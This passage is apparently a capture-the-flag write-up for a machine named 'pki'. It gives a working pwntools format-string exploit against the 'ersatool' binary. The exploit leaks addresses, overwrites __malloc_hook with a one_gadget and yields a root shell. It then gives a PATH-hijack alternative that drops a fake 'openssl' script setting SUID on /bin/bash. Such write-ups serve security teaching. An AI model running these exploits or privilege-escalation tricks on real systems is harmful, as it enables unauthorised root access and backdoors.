ersatool: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=961368a18afcdeccddd1f423353ff104bc09e6ae, not stripped
$ checksec ersatool
[*] './ersatool'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
- It is a 64-bit ELF binary.
- It has NX enabled, which means that the stack is non-executable.
- It has PIE enabled, which means that the base address of the proper binary is randomized (ASLR) so that it is reset every time the program restarts (the addresses of the functions are computed as an offset plus the base address).
- Moreover, addresses of functions belonging to Glibc will also suffer from ASLR, because it is enabled:
www-data@pki:/tmp$ cat /proc/sys/kernel/randomize_va_space
2
We need to perform the following tasks to get RCE:
- Find the offset of the format string.
- Leak an address of a function of the binary using the format string.
- Compute the binary base address.
- Leak an address of a function of Glibc using the format string.
- Compute Glibc base address.
- Set
__malloc_hook
function to aone_gadget
shell in Glibc using the format string. - Trigger
malloc
by allocating a large amount of memory.
Task 1: Already done, the format string offset is 8
.
Task 2: To leak an address we must use format strings like %x
or %p
(both will print the hexadecimal value of an address, but the second will prepend 0x
). However, instead of putting a lot of format strings, we can take the position we desire using %i$p
, where i
is the position. This time, as it is a 64-bit binary, we need to use %lx
or %lp
.
Using this idea, let’s build a simple Python script using pwntools
to dump the first 60 values from the stack:
from pwn import *
p = remote('127.0.0.1', 1234)
def get_value(i):
p.sendlineafter(b'print->CN=', f'%{i}$lp'.encode())
data = p.recvline()
data = data[:data.index(b'[!] ERR')]
print(i, data.decode())
return int(data.decode(), 16)
p.sendlineafter(b'# ', b'print')
for i in range(1, 61):
get_value(i)
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1234: Done
1 0x5615109d815f
2 0x7ffdc8e5489a
3 0x5615109d815f
4 0x4a
5 0x696c632f61737279
6 0x1109d41d0
7 (nil)
8 0x706c243825
9 (nil)
...
19 (nil)
20 0x561500000000
21 0x7f4a39c0bf51
22 0x7361652f74706f2f
23 0x696c632f61737279
24 0x3432252f73746e65
25 0x6e70766f2e706c24
26 (nil)
...
33 (nil)
34 0x7f4a00000000
35 0x7f4a39bfd87d
36 (nil)
37 (nil)
38 0x7ffdc8e54940
39 0x5615109d4f83
40 0x7ffdc8e54a28
41 0x100000000
42 0x5615109d5070
43 0xa746e697270
44 (nil)
45 0x100000000
46 0x5615109d5070
47 0x7f4a39ba0b97
48 0x2000000000
49 0x7ffdc8e54a28
50 0x100000000
51 0x5615109d4e5b
52 (nil)
53 0xcc040442782a621f
54 0x5615109d41d0
55 0x7ffdc8e54a20
56 (nil)
57 (nil)
58 0x9fd5b4b24a6a621f
59 0x9eba560cce54621f
60 0x7ffd00000000
Bypassing ASLR is relatively simple, since the randomized base address always ends on three hexadecimal zeros. Hence, if we know the last three hexadecimal digits of an offset, we can easily identify the real address.
Let’s take the offset of the main
function:
$ readelf -s ersatool | grep ' main'
86: 0000000000001e5b 524 FUNC GLOBAL DEFAULT 14main
If we have a look at the values above, we discover that position 51 is 0x5615109d4e5b
, it ends with e5b
. Then, we have found a way to leak the real address of main
using %51$lp
as a format string:
main_addr = get_value(51)
print('Address of main():', hex(main_addr))
Task 3: The base address of the binary is likely to be 0x5615109d4e5b - 0x1e5b = 0x5615109d3000
(it will be different on every execution of the program):
elf = context.binary = ELF('./ersatool', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
elf.address = main_addr - elf.symbols.main
print('Binary base address:', hex(elf.address))
Now the process is kind of standard in Format String exploitation.
Task 4: To leak an address of Glibc, we must use the Global Offset Table (GOT). This table is part of the binary and contains the addresses of the functions that can be used by the binary (namely, printf
, strncat
, fgets
…).
The addresses of the GOT are known because we have their offsets and the base address of the binary. We can use the following payload to print the address of printf
(for example) in Glibc:
leak = b'%9$s'.ljust(8, b'\0') + p64(elf.got.printf)
p.sendlineafter(b'print->CN=', leak)
data = p.recvline()
data = data[:data.index(b'[!] ERR')]
printf_addr = u64(data.ljust(8, b'\0'))
print('Address of printf():', hex(printf_addr))
Because strings in C work as pointers, if we put an address of GOT into a format string to print the content of a string, what will be printed is the address pointed by the value of the GOT address.
Notice that we are trying to leak %9$s
, which will be the data inside address printf
at GOT, which comes right after the format string (recall that the format string offset is 8
).
If all works correctly, we will have the real address of printf
in Glibc.
Task 5: The base address of Glibc is computed the same way as the binary base address. We only subtract the offset from the real address. In addition, we need to verify that the base address ends in 000
hexadecimal digits.
libc.address = printf_addr - libc.symbols.printf
print('Glibc base address:', hex(libc.address))
Task 6: Now we need to write to an address in memory. The best way to gain code execution in this type of situations is overriding the address of __malloc_hook
inside Glibc to execute a one_gadget
shell.
Gadgets are just lines of assembly code that perform a certain operation. They are useful in Buffer Overflow exploitation using Return Oriented Programming (ROP) to bypass NX (also known as DEP).
This time, we can search for a gadget that executes /bin/sh
. They are commonly found inside Glibc. Using one_gadget
we can get some potential gadgets:
$ one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
We can use 0x4f322
, for example. Now we can easily overwrite __malloc_hook
using pwntools
(they provide a magic function called fmtstr_payload
that does all the work, specifying the offset, the address and the value to write):
one_gadget_shell = libc.address + 0x4f322
payload = fmtstr_payload(
offset,
{libc.sym.__malloc_hook: one_gadget_shell},
write_size='short'
)
p.sendlineafter(b'print->CN=', payload)
p.recv()
Task 7: The need to overwrite __malloc_hook
is because now we are going to send %10000$c
. This task will require some memory space, so the binary will call malloc
. However, __malloc_hook
will be executed before. Since it has been modified, instead of calling malloc
, the program will spawn a shell (/bin/sh
):
p.sendlineafter(b'print->CN=', b'%10000$c')
p.interactive()
Finally, we can execute the exploit and get a shell as root
(due to the capabilities set on the binary):
$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1234: Done
Offset: 8
51 0x558d4b23fe5b
Address of main(): 0x558d4b23fe5b
Binary base address: 0x558d4b23e000
GOT printf(): 0x558d4b243058
Address of printf(): 0x7f33d1794e80
Glibc base address: 0x7f33d1730000
Address of __malloc_hook(): 0x7f33d1b1bc30
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
b3298f99ac5999202090829ed5fa9fb6
The full exploit can be found here: exploit.py
(detailed explanation here).
Privilege escalation alternative
Despite Format String exploitation is much cooler, there is an easier and faster way to escalate privileges. The idea is that ersatool
can create .ovpn
files. Maybe it is using some other binary behind the scenes.
To check all the processes running when creating a .ovpn
file, one could use pspy
. After that, we see that the binary is using openssl
.
But, the nuance is that the progam is called as a relative path. Hence, the binary is vulnerable to PATH
hijacking. We can create a malicious openssl
executable inside /tmp
and then add /tmp
to the PATH
environment variable:
www-data@pki:/tmp$ echo -e '#!/bin/bash\nchmod 4755 /bin/bash' > openssl
www-data@pki:/tmp$ cat openssl
#!/bin/bash
chmod 4755 /bin/bash
www-data@pki:/tmp$ chmod +x openssl
www-data@pki:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@pki:/tmp$ which openssl
/usr/bin/openssl
www-data@pki:/tmp$ export PATH=/tmp:$PATH
www-data@pki:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@pki:/tmp$ which openssl
/tmp/openssl
www-data@pki:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
The malicious openssl
will add the SUID bit to /bin/bash
. If we use ersatool create
, the malicious openssl
will be executed:
www-data@pki:/tmp$ ersatool create xD
...
www-data@pki:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
And we gain access as root
:
www-data@pki:/tmp$ bash -p
bash-4.4# cat /root/root.txt
b3298f99ac5999202090829ed5fa9fb6